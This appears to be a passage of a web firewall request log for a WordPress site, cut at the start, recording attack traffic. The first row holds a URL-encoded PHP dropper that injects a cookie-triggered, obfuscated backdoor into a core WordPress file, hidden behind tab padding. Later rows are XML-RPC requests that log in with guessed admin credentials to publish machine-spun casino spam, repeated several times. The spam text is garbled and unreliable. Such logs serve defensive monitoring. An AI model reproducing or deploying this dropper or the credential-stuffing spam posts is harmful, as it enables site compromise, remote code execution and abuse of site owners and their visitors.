Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-user:?1\n\ncM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/colors.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B74-74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B37%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520unit_converter%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527263489ac%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524elem%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524tkn%252C%2520%2524elem%2529%253B%2520fclose%2528%2524tkn%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522unit_converter%2522%2529%253B%2520%2524record%2520%253D%2520%25226ecf0a015cd4814f1f3d993d872a8f25%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:50:09","156.59.166.216","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Enjoy 21,700  Online Gambling games No Down load]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Posts<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">And if Did The first For the-range casino Appear? Their Invention<\/a><\/li><li><a href=\"#toc-1\">Da Vinci Diamonds Pokie Review<\/a><\/li><li><a href=\"#toc-2\">Davinci Diamonds Position<\/a><\/li><li><a href=\"#toc-3\"> Which are the greatest online pokies for fun?<\/a><\/li><\/ul><\/div>\n<p>Because the casinos make an effort to attention people, they have to make best basic impact. Anyway, professionals will be able to play the pokies 100percent free. You can gamble harbors on the internet free of charge and fully take advantage of the experience! There is no-one to refute the fact the overall game is one of the very most better on the internet position for the-range games. Other games has 100 percent free Revolves extra has, but which movies has the Totally free Fall function. <!--more--> The video game has many features and this distinguishes it off their videos slots on the internet.<\/p>\r\n<h2 id=\"toc-0\">And if Did The first For the-range casino Appear? Their Invention<\/h2>\n<p>Yes, Da Vinci Expensive diamonds is actually completely enhanced to possess cellular use apple's ios and you may Android products. Our very own per week leaderboard has been surely smashed by the unprecedented winnings. The fresh diamonds aimed, and you may background is made in just seconds! Think of the electronic excitement coursing via your blood vessels as the reels fall into line well – you to definitely magical time when destiny smiles on you!<\/p>\n<p>It medium <a href=\"https:\/\/vogueplay.com\/ca\/royal-panda-casino\/\">https:\/\/vogueplay.com\/ca\/royal-panda-casino\/<\/a> variance antique slot features a maximum win of just one,199x your wager. Performing this is also handbag you at the very least ten 100 percent free spins; in addition to this, it can be re-caused. Guide of Deceased from the Play’n Wade are broadly considering Book out of Ra, one of the most well-known belongings-centered slot terminals in history.<\/p>\r\n<ul><li>The newest Da Vinci Diamonds slot machine game’s greatest jackpot is achievable when you strike to the 5 Da Vinci Diamonds Signs in one line.<\/li><li>Da Vinci Expensive diamonds provides a 94.94percent RTP and a flexible gambling range from 0.20 in order to 600 per twist.<\/li><li>All of the views shared is our personal, for each and every with regards to the legitimate and you may unbiased analysis of your own gambling enterprises i viewpoint.<\/li><li>A bottom games victories have 7 variant signs, and you can honours try provided centered on coordinating step three, cuatro, or 5 signs.<\/li><li>After you’ve find the greatest gambling enterprise, the next step is to create a merchant account and you may finish the confirmation process.<\/li><\/ul>\r\n<h2 id=\"toc-1\">Da Vinci Diamonds Pokie Review<\/h2>\n<p>The fresh extraordinary issue is the fact that latter happens without any athlete having to move once more, so you can earn multiple honours to the cost of a unmarried wager. The fresh 100 percent free Twist Extra is going to be reactivated, including anywhere between dos and 15 a lot more, as much as all in all, three hundred revolves for each and every round. So you can adjust the brand new program to the features of your device, the online game solution will be graduated in the around three account. When you gamble, you’ll see as to the reasons they are given the individuals anyone labels and you may in addition to, you have got some fun!<\/p>\n<img src=\"https:\/\/www.casino.com\/blog\/wp-content\/uploads\/sites\/2\/2022\/10\/Superstars-Slots-2.jpg\" alt=\"no deposit bonus lucky tiger casino\" border=\"1\" align=\"left\" style=\"padding: 20px;\">\n<p>It's got the new twice cues as you create find in the Kittens harbors and it contains the sound files one to would be familiar to fand of a single’s Wolf work on slot machine game. And therefore practically doubles the new reels to produce an excellent a 5 reel x 6 line pokie! Da Vinci Expensive diamonds will be played for free, right here, as well as on a number of the better gambling enterprise websites to help you rating a good taster.<\/p>\r\n<h2 id=\"toc-2\">Davinci Diamonds Position<\/h2>\n<p>These types of gambling enterprises ranked extremely most within our gathered set of the newest greatest web based casinos. Sure, totally free pokies are exactly the same in order to real money pokies, so there are many pros and cons so you can both. All of our finest position gambling enterprises enables you to enjoy a huge selection of headings within the quick-enjoy trial form.<\/p>\r\n<h2 id=\"toc-3\"> Which are the greatest online pokies for fun?<\/h2>\n<p>We’ll work at free ports launched instead demanding a connection to the internet to play for fun. The best 100 percent free off-line position video game for Android os zero download is currently available to possess users; they have to be installed to Pcs and cellphones ahead of running. Provides an exciting gambling experience to try out off-line harbors instead of getting application. Free harbors no obtain zero registration to experience offline, work at totally to the Android gizmos, iPhones, apple's ios, Screen, and you may Personal computers. As a result they use Arbitrary Matter Turbines to run their games – one of many fairest app strategies for on line playing.<\/p>\n<p>Aussie players knows him or her good for strikes including Currency Instruct step 3 and you may Temple Tumble Megaways. Relax Gaming has created a strong reputation to own performing committed and innovative pokies one push the brand new boundaries. Play’letter Wade is an additional favorite among Aussie pokies fans.<\/p>\n<img src=\"https:\/\/igaming.org\/wp-content\/uploads\/2023\/09\/Mr-Bet-Casino.jpg\" alt=\"go to online casino video games\" align=\"right\" border=\"0\">\n<p>It’s Da Vinci Expensive diamonds additional provides rendering it very attractive to players. United kingdom anyone may also choice real money within the registered Uk web based casinos. Of a lot playing sites render harbors the real thing currency having online game just numerous presses aside. Yes, you could have fun to the Da Vinci demo inside free enjoy to are tumbling reels and you also is free spins before wagering a real income. Make the better totally free revolves incentives of 2026 from the all of our finest required casinos – and now have all the details you need before you allege her or him.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T11:50:07<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[enjoy-21,700 -online-gambling-games-no-down-load]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\ncontent-length:7582\ncontent-type:text\/xml; charset=utf-8\nconnection:Close\nhost:dewenlabels.com\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Enjoy 21,700  Online Gambling games No Down load]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Posts<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">And if Did The first For the-range casino Appear? Their Invention<\/a><\/li><li><a href=\"#toc-1\">Da Vinci Diamonds Pokie Review<\/a><\/li><li><a href=\"#toc-2\">Davinci Diamonds Position<\/a><\/li><li><a href=\"#toc-3\"> Which are the greatest online pokies for fun?<\/a><\/li><\/ul><\/div>\n<p>Because the casinos make an effort to attention people, they have to make best basic impact. Anyway, professionals will be able to play the pokies 100percent free. You can gamble harbors on the internet free of charge and fully take advantage of the experience! There is no-one to refute the fact the overall game is one of the very most better on the internet position for the-range games. Other games has 100 percent free Revolves extra has, but which movies has the Totally free Fall function. <!--more--> The video game has many features and this distinguishes it off their videos slots on the internet.<\/p>\r\n<h2 id=\"toc-0\">And if Did The first For the-range casino Appear? Their Invention<\/h2>\n<p>Yes, Da Vinci Expensive diamonds is actually completely enhanced to possess cellular use apple's ios and you may Android products. Our very own per week leaderboard has been surely smashed by the unprecedented winnings. The fresh diamonds aimed, and you may background is made in just seconds! Think of the electronic excitement coursing via your blood vessels as the reels fall into line well – you to definitely magical time when destiny smiles on you!<\/p>\n<p>It medium <a href=\"https:\/\/vogueplay.com\/ca\/royal-panda-casino\/\">https:\/\/vogueplay.com\/ca\/royal-panda-casino\/<\/a> variance antique slot features a maximum win of just one,199x your wager. Performing this is also handbag you at the very least ten 100 percent free spins; in addition to this, it can be re-caused. Guide of Deceased from the Play’n Wade are broadly considering Book out of Ra, one of the most well-known belongings-centered slot terminals in history.<\/p>\r\n<ul><li>The newest Da Vinci Diamonds slot machine game’s greatest jackpot is achievable when you strike to the 5 Da Vinci Diamonds Signs in one line.<\/li><li>Da Vinci Expensive diamonds provides a 94.94percent RTP and a flexible gambling range from 0.20 in order to 600 per twist.<\/li><li>All of the views shared is our personal, for each and every with regards to the legitimate and you may unbiased analysis of your own gambling enterprises i viewpoint.<\/li><li>A bottom games victories have 7 variant signs, and you can honours try provided centered on coordinating step three, cuatro, or 5 signs.<\/li><li>After you’ve find the greatest gambling enterprise, the next step is to create a merchant account and you may finish the confirmation process.<\/li><\/ul>\r\n<h2 id=\"toc-1\">Da Vinci Diamonds Pokie Review<\/h2>\n<p>The fresh extraordinary issue is the fact that latter happens without any athlete having to move once more, so you can earn multiple honours to the cost of a unmarried wager. The fresh 100 percent free Twist Extra is going to be reactivated, including anywhere between dos and 15 a lot more, as much as all in all, three hundred revolves for each and every round. So you can adjust the brand new program to the features of your device, the online game solution will be graduated in the around three account. When you gamble, you’ll see as to the reasons they are given the individuals anyone labels and you may in addition to, you have got some fun!<\/p>\n<img src=\"https:\/\/www.casino.com\/blog\/wp-content\/uploads\/sites\/2\/2022\/10\/Superstars-Slots-2.jpg\" alt=\"no deposit bonus lucky tiger casino\" border=\"1\" align=\"left\" style=\"padding: 20px;\">\n<p>It's got the new twice cues as you create find in the Kittens harbors and it contains the sound files one to would be familiar to fand of a single’s Wolf work on slot machine game. And therefore practically doubles the new reels to produce an excellent a 5 reel x 6 line pokie! Da Vinci Expensive diamonds will be played for free, right here, as well as on a number of the better gambling enterprise websites to help you rating a good taster.<\/p>\r\n<h2 id=\"toc-2\">Davinci Diamonds Position<\/h2>\n<p>These types of gambling enterprises ranked extremely most within our gathered set of the newest greatest web based casinos. Sure, totally free pokies are exactly the same in order to real money pokies, so there are many pros and cons so you can both. All of our finest position gambling enterprises enables you to enjoy a huge selection of headings within the quick-enjoy trial form.<\/p>\r\n<h2 id=\"toc-3\"> Which are the greatest online pokies for fun?<\/h2>\n<p>We’ll work at free ports launched instead demanding a connection to the internet to play for fun. The best 100 percent free off-line position video game for Android os zero download is currently available to possess users; they have to be installed to Pcs and cellphones ahead of running. Provides an exciting gambling experience to try out off-line harbors instead of getting application. Free harbors no obtain zero registration to experience offline, work at totally to the Android gizmos, iPhones, apple's ios, Screen, and you may Personal computers. As a result they use Arbitrary Matter Turbines to run their games – one of many fairest app strategies for on line playing.<\/p>\n<p>Aussie players knows him or her good for strikes including Currency Instruct step 3 and you may Temple Tumble Megaways. Relax Gaming has created a strong reputation to own performing committed and innovative pokies one push the brand new boundaries. Play’letter Wade is an additional favorite among Aussie pokies fans.<\/p>\n<img src=\"https:\/\/igaming.org\/wp-content\/uploads\/2023\/09\/Mr-Bet-Casino.jpg\" alt=\"go to online casino video games\" align=\"right\" border=\"0\">\n<p>It’s Da Vinci Expensive diamonds additional provides rendering it very attractive to players. United kingdom anyone may also choice real money within the registered Uk web based casinos. Of a lot playing sites render harbors the real thing currency having online game just numerous presses aside. Yes, you could have fun to the Da Vinci demo inside free enjoy to are tumbling reels and you also is free spins before wagering a real income. Make the better totally free revolves incentives of 2026 from the all of our finest required casinos – and now have all the details you need before you allege her or him.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T11:50:07<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[enjoy-21,700 -online-gambling-games-no-down-load]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>"]
["2026-05-12 19:50:10","156.59.166.216","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Enjoy 21,700  Online Gambling games No Down load]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Posts<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">And if Did The first For the-range casino Appear? Their Invention<\/a><\/li><li><a href=\"#toc-1\">Da Vinci Diamonds Pokie Review<\/a><\/li><li><a href=\"#toc-2\">Davinci Diamonds Position<\/a><\/li><li><a href=\"#toc-3\"> Which are the greatest online pokies for fun?<\/a><\/li><\/ul><\/div>\n<p>Because the casinos make an effort to attention people, they have to make best basic impact. Anyway, professionals will be able to play the pokies 100percent free. You can gamble harbors on the internet free of charge and fully take advantage of the experience! There is no-one to refute the fact the overall game is one of the very most better on the internet position for the-range games. Other games has 100 percent free Revolves extra has, but which movies has the Totally free Fall function. <!--more--> The video game has many features and this distinguishes it off their videos slots on the internet.<\/p>\r\n<h2 id=\"toc-0\">And if Did The first For the-range casino Appear? Their Invention<\/h2>\n<p>Yes, Da Vinci Expensive diamonds is actually completely enhanced to possess cellular use apple's ios and you may Android products. Our very own per week leaderboard has been surely smashed by the unprecedented winnings. The fresh diamonds aimed, and you may background is made in just seconds! Think of the electronic excitement coursing via your blood vessels as the reels fall into line well – you to definitely magical time when destiny smiles on you!<\/p>\n<p>It medium <a href=\"https:\/\/vogueplay.com\/ca\/royal-panda-casino\/\">https:\/\/vogueplay.com\/ca\/royal-panda-casino\/<\/a> variance antique slot features a maximum win of just one,199x your wager. Performing this is also handbag you at the very least ten 100 percent free spins; in addition to this, it can be re-caused. Guide of Deceased from the Play’n Wade are broadly considering Book out of Ra, one of the most well-known belongings-centered slot terminals in history.<\/p>\r\n<ul><li>The newest Da Vinci Diamonds slot machine game’s greatest jackpot is achievable when you strike to the 5 Da Vinci Diamonds Signs in one line.<\/li><li>Da Vinci Expensive diamonds provides a 94.94percent RTP and a flexible gambling range from 0.20 in order to 600 per twist.<\/li><li>All of the views shared is our personal, for each and every with regards to the legitimate and you may unbiased analysis of your own gambling enterprises i viewpoint.<\/li><li>A bottom games victories have 7 variant signs, and you can honours try provided centered on coordinating step three, cuatro, or 5 signs.<\/li><li>After you’ve find the greatest gambling enterprise, the next step is to create a merchant account and you may finish the confirmation process.<\/li><\/ul>\r\n<h2 id=\"toc-1\">Da Vinci Diamonds Pokie Review<\/h2>\n<p>The fresh extraordinary issue is the fact that latter happens without any athlete having to move once more, so you can earn multiple honours to the cost of a unmarried wager. The fresh 100 percent free Twist Extra is going to be reactivated, including anywhere between dos and 15 a lot more, as much as all in all, three hundred revolves for each and every round. So you can adjust the brand new program to the features of your device, the online game solution will be graduated in the around three account. When you gamble, you’ll see as to the reasons they are given the individuals anyone labels and you may in addition to, you have got some fun!<\/p>\n<img src=\"https:\/\/www.casino.com\/blog\/wp-content\/uploads\/sites\/2\/2022\/10\/Superstars-Slots-2.jpg\" alt=\"no deposit bonus lucky tiger casino\" border=\"1\" align=\"left\" style=\"padding: 20px;\">\n<p>It's got the new twice cues as you create find in the Kittens harbors and it contains the sound files one to would be familiar to fand of a single’s Wolf work on slot machine game. And therefore practically doubles the new reels to produce an excellent a 5 reel x 6 line pokie! Da Vinci Expensive diamonds will be played for free, right here, as well as on a number of the better gambling enterprise websites to help you rating a good taster.<\/p>\r\n<h2 id=\"toc-2\">Davinci Diamonds Position<\/h2>\n<p>These types of gambling enterprises ranked extremely most within our gathered set of the newest greatest web based casinos. Sure, totally free pokies are exactly the same in order to real money pokies, so there are many pros and cons so you can both. All of our finest position gambling enterprises enables you to enjoy a huge selection of headings within the quick-enjoy trial form.<\/p>\r\n<h2 id=\"toc-3\"> Which are the greatest online pokies for fun?<\/h2>\n<p>We’ll work at free ports launched instead demanding a connection to the internet to play for fun. The best 100 percent free off-line position video game for Android os zero download is currently available to possess users; they have to be installed to Pcs and cellphones ahead of running. Provides an exciting gambling experience to try out off-line harbors instead of getting application. Free harbors no obtain zero registration to experience offline, work at totally to the Android gizmos, iPhones, apple's ios, Screen, and you may Personal computers. As a result they use Arbitrary Matter Turbines to run their games – one of many fairest app strategies for on line playing.<\/p>\n<p>Aussie players knows him or her good for strikes including Currency Instruct step 3 and you may Temple Tumble Megaways. Relax Gaming has created a strong reputation to own performing committed and innovative pokies one push the brand new boundaries. Play’letter Wade is an additional favorite among Aussie pokies fans.<\/p>\n<img src=\"https:\/\/igaming.org\/wp-content\/uploads\/2023\/09\/Mr-Bet-Casino.jpg\" alt=\"go to online casino video games\" align=\"right\" border=\"0\">\n<p>It’s Da Vinci Expensive diamonds additional provides rendering it very attractive to players. United kingdom anyone may also choice real money within the registered Uk web based casinos. Of a lot playing sites render harbors the real thing currency having online game just numerous presses aside. Yes, you could have fun to the Da Vinci demo inside free enjoy to are tumbling reels and you also is free spins before wagering a real income. Make the better totally free revolves incentives of 2026 from the all of our finest required casinos – and now have all the details you need before you allege her or him.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T11:50:08<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\ncontent-length:7672\ncontent-type:text\/xml; charset=utf-8\nconnection:Close\nhost:dewenlabels.com\n\n<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Enjoy 21,700  Online Gambling games No Down load]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Posts<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">And if Did The first For the-range casino Appear? Their Invention<\/a><\/li><li><a href=\"#toc-1\">Da Vinci Diamonds Pokie Review<\/a><\/li><li><a href=\"#toc-2\">Davinci Diamonds Position<\/a><\/li><li><a href=\"#toc-3\"> Which are the greatest online pokies for fun?<\/a><\/li><\/ul><\/div>\n<p>Because the casinos make an effort to attention people, they have to make best basic impact. Anyway, professionals will be able to play the pokies 100percent free. You can gamble harbors on the internet free of charge and fully take advantage of the experience! There is no-one to refute the fact the overall game is one of the very most better on the internet position for the-range games. Other games has 100 percent free Revolves extra has, but which movies has the Totally free Fall function. <!--more--> The video game has many features and this distinguishes it off their videos slots on the internet.<\/p>\r\n<h2 id=\"toc-0\">And if Did The first For the-range casino Appear? Their Invention<\/h2>\n<p>Yes, Da Vinci Expensive diamonds is actually completely enhanced to possess cellular use apple's ios and you may Android products. Our very own per week leaderboard has been surely smashed by the unprecedented winnings. The fresh diamonds aimed, and you may background is made in just seconds! Think of the electronic excitement coursing via your blood vessels as the reels fall into line well – you to definitely magical time when destiny smiles on you!<\/p>\n<p>It medium <a href=\"https:\/\/vogueplay.com\/ca\/royal-panda-casino\/\">https:\/\/vogueplay.com\/ca\/royal-panda-casino\/<\/a> variance antique slot features a maximum win of just one,199x your wager. Performing this is also handbag you at the very least ten 100 percent free spins; in addition to this, it can be re-caused. Guide of Deceased from the Play’n Wade are broadly considering Book out of Ra, one of the most well-known belongings-centered slot terminals in history.<\/p>\r\n<ul><li>The newest Da Vinci Diamonds slot machine game’s greatest jackpot is achievable when you strike to the 5 Da Vinci Diamonds Signs in one line.<\/li><li>Da Vinci Expensive diamonds provides a 94.94percent RTP and a flexible gambling range from 0.20 in order to 600 per twist.<\/li><li>All of the views shared is our personal, for each and every with regards to the legitimate and you may unbiased analysis of your own gambling enterprises i viewpoint.<\/li><li>A bottom games victories have 7 variant signs, and you can honours try provided centered on coordinating step three, cuatro, or 5 signs.<\/li><li>After you’ve find the greatest gambling enterprise, the next step is to create a merchant account and you may finish the confirmation process.<\/li><\/ul>\r\n<h2 id=\"toc-1\">Da Vinci Diamonds Pokie Review<\/h2>\n<p>The fresh extraordinary issue is the fact that latter happens without any athlete having to move once more, so you can earn multiple honours to the cost of a unmarried wager. The fresh 100 percent free Twist Extra is going to be reactivated, including anywhere between dos and 15 a lot more, as much as all in all, three hundred revolves for each and every round. So you can adjust the brand new program to the features of your device, the online game solution will be graduated in the around three account. When you gamble, you’ll see as to the reasons they are given the individuals anyone labels and you may in addition to, you have got some fun!<\/p>\n<img src=\"https:\/\/www.casino.com\/blog\/wp-content\/uploads\/sites\/2\/2022\/10\/Superstars-Slots-2.jpg\" alt=\"no deposit bonus lucky tiger casino\" border=\"1\" align=\"left\" style=\"padding: 20px;\">\n<p>It's got the new twice cues as you create find in the Kittens harbors and it contains the sound files one to would be familiar to fand of a single’s Wolf work on slot machine game. And therefore practically doubles the new reels to produce an excellent a 5 reel x 6 line pokie! Da Vinci Expensive diamonds will be played for free, right here, as well as on a number of the better gambling enterprise websites to help you rating a good taster.<\/p>\r\n<h2 id=\"toc-2\">Davinci Diamonds Position<\/h2>\n<p>These types of gambling enterprises ranked extremely most within our gathered set of the newest greatest web based casinos. Sure, totally free pokies are exactly the same in order to real money pokies, so there are many pros and cons so you can both. All of our finest position gambling enterprises enables you to enjoy a huge selection of headings within the quick-enjoy trial form.<\/p>\r\n<h2 id=\"toc-3\"> Which are the greatest online pokies for fun?<\/h2>\n<p>We’ll work at free ports launched instead demanding a connection to the internet to play for fun. The best 100 percent free off-line position video game for Android os zero download is currently available to possess users; they have to be installed to Pcs and cellphones ahead of running. Provides an exciting gambling experience to try out off-line harbors instead of getting application. Free harbors no obtain zero registration to experience offline, work at totally to the Android gizmos, iPhones, apple's ios, Screen, and you may Personal computers. As a result they use Arbitrary Matter Turbines to run their games – one of many fairest app strategies for on line playing.<\/p>\n<p>Aussie players knows him or her good for strikes including Currency Instruct step 3 and you may Temple Tumble Megaways. Relax Gaming has created a strong reputation to own performing committed and innovative pokies one push the brand new boundaries. Play’letter Wade is an additional favorite among Aussie pokies fans.<\/p>\n<img src=\"https:\/\/igaming.org\/wp-content\/uploads\/2023\/09\/Mr-Bet-Casino.jpg\" alt=\"go to online casino video games\" align=\"right\" border=\"0\">\n<p>It’s Da Vinci Expensive diamonds additional provides rendering it very attractive to players. United kingdom anyone may also choice real money within the registered Uk web based casinos. Of a lot playing sites render harbors the real thing currency having online game just numerous presses aside. Yes, you could have fun to the Da Vinci demo inside free enjoy to are tumbling reels and you also is free spins before wagering a real income. Make the better totally free revolves incentives of 2026 from the all of our finest required casinos – and now have all the details you need before you allege her or him.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T11:50:08<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>"]
